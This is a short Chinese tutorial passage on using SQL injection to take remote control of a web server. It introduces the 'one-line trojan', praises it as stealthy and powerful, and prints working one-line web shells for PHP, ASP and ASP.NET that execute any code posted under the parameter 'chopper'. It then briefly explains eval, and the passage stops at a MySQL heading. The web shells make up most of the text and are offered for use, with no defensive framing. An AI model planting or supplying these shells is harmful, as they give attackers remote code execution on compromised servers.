14.SQL注入-进行服务器远程控制

SQL注入-进行服务器远程控制-字符型

一句话木马

一句话木马是一种短小而精悍的木马客户端，隐蔽性好，切功能强大

PHP:<?php @eval($_POST['chopper']);?>
ASP:<%eval request("chopper")%>
ASP.NET:<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>

释1：eval(string),支持PHP4\5\7,将后面的string作为PHP代码运行

MySQL知识点：